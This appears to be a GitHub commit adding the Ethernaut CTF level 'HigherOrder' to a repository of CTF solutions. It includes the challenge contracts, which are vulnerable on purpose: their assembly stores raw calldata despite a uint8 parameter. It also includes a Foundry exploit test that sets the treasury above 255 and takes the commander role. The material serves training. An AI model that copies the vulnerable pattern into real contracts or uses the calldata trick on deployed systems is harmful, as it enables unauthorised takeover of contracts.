Skip to content

Commit b4420ce

Browse files
committed
add Ethernaut 30. HigherOrder
1 parent d7c6dc6 commit b4420ce

File tree

6 files changed

+87
-0
lines changed

6 files changed

+87
-0
lines changed

README.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -289,6 +289,7 @@ Note:
289289
| [BlazCTF 2023: Jambo](src/BlazCTF2023/) | |
290290
| [BlazCTF 2023: Ghost](src/BlazCTF2023/) | |
291291
| [Curta: Lana](src/Curta/20_Lana/) | LLVM |
292+
| [Ethernaut: 30. HigherOrder](src/Ethernaut/HigherOrder/) | calldata |
292293

293294
### EVM assembly logic bugs
294295
- Logic bugs in assemblies such as Yul
Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
// SPDX-License-Identifier: UNLICENSED
2+
pragma solidity ^0.8.13;
3+
4+
import "forge-std/Test.sol";
5+
import "./HigherOrderFactory.sol";
6+
7+
contract HigherOrderExploitTest is Test {
8+
function test() public {
9+
address playerAddress = makeAddr("player");
10+
vm.deal(playerAddress, 1 ether);
11+
HigherOrderFactory factory = new HigherOrderFactory();
12+
address instanceAddress = factory.createInstance(playerAddress);
13+
14+
vm.startPrank(playerAddress, playerAddress);
15+
16+
instanceAddress.call(bytes.concat(HigherOrder.registerTreasury.selector, bytes32(uint256(0x100))));
17+
instanceAddress.call(abi.encodeWithSignature("claimLeadership()"));
18+
19+
vm.stopPrank();
20+
21+
assertTrue(factory.validateInstance(payable(instanceAddress), playerAddress), "Invalid Instance");
22+
}
23+
}
Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
// SPDX-License-Identifier: MIT
2+
pragma solidity ^0.8.20;
3+
4+
contract HigherOrder {
5+
address public commander;
6+
7+
uint256 public treasury;
8+
9+
function registerTreasury(uint8) public {
10+
assembly {
11+
sstore(treasury.slot, calldataload(4))
12+
}
13+
}
14+
15+
function claimLeadership() public {
16+
if (treasury > 255) commander = msg.sender;
17+
else revert("Only members of the Higher Order can become Commander");
18+
}
19+
}
Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
// SPDX-License-Identifier: MIT
2+
pragma solidity 0.6.12;
3+
4+
contract HigherOrder {
5+
address public commander;
6+
7+
uint256 public treasury;
8+
9+
function registerTreasury(uint8) public {
10+
assembly {
11+
sstore(treasury_slot, calldataload(4))
12+
}
13+
}
14+
15+
function claimLeadership() public {
16+
if (treasury > 255) commander = msg.sender;
17+
else revert("Only members of the Higher Order can become Commander");
18+
}
19+
}
Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
// SPDX-License-Identifier: MIT
2+
pragma solidity ^0.8.20;
3+
4+
import "../Ethernaut/Level.sol";
5+
import "./HigherOrder-8.sol";
6+
import "src/utils/Create.sol";
7+
8+
contract HigherOrderFactory is Level {
9+
function createInstance(address _player) public payable override returns (address) {
10+
return Create.deploy("HigherOrder.sol:HigherOrder");
11+
}
12+
13+
function validateInstance(address payable _instance, address _player) public override returns (bool) {
14+
HigherOrder instance = HigherOrder(_instance);
15+
return instance.commander() == _player;
16+
}
17+
}

src/Ethernaut/README.md

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -452,3 +452,11 @@ forge test --match-contract SwitchExploit -vvvv
452452
```sh
453453
forge script SwitchExploitScript -vvvv --private-key $PRIVATE_KEY --fork-url $RPC_URL --broadcast --sig "run(address)" $INSTANCE_ADDRESS
454454
```
455+
456+
## 30. HigherOrder
457+
[Challenge & Exploit codes](HigherOrder)
458+
459+
**Test**
460+
```sh
461+
forge test --match-contract HigherOrderExploit -vvvv
462+
```

0 commit comments

Comments
 (0)